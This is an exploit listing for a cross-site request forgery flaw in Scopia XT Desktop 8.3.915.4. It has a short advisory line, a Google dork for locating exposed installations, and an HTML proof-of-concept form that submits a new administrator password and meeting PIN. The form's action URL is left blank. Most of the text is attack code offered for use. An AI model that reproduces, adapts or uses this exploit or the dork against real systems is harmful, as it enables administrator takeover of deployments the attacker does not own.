Scopia XT Desktop 8.3.915.4 Cross Site Request Forgery

Scopia XT Desktop version 8.3.915.4 suffers from a cross site request forgery vulnerability.

MD5 | 2f67835c85249d7446fe17222121f0a8

# Exploit Title: Scopia XT Desktop 8.3.915.4 - Cross-Site Request Forgery (change admin password)
# Google Dork: inurl:scopia+index.jsp
# Date: 2020-09-09
# Exploit Author: v1n1v131r4
# Vendor Homepage:
# Software Link:
# Version: 8.3.915.4
# Tested on: Windows 10 Pro
# CVE : N/A
# PoC:

# CSRF to change admin password
# The admin password will be changed to "attacker"

<!DOCTYPE html>
<form method="POST" action="">
<input type="text" name="JSESSIONID" value="">
<input type="text" name="newadminusername" value="">
<input type="text" name="newadminpassword" value="3B09A36C1C32CF30EB8169F43227957C">
<input type="text" name="newenablext1000meetingpin" value="false">
<input type="text" name="newxt1000meetingpin" value="EB8169F43227957C">
<input type="text" name="checkstatus" value="true">
<input type="submit" value="Send">

Related Posts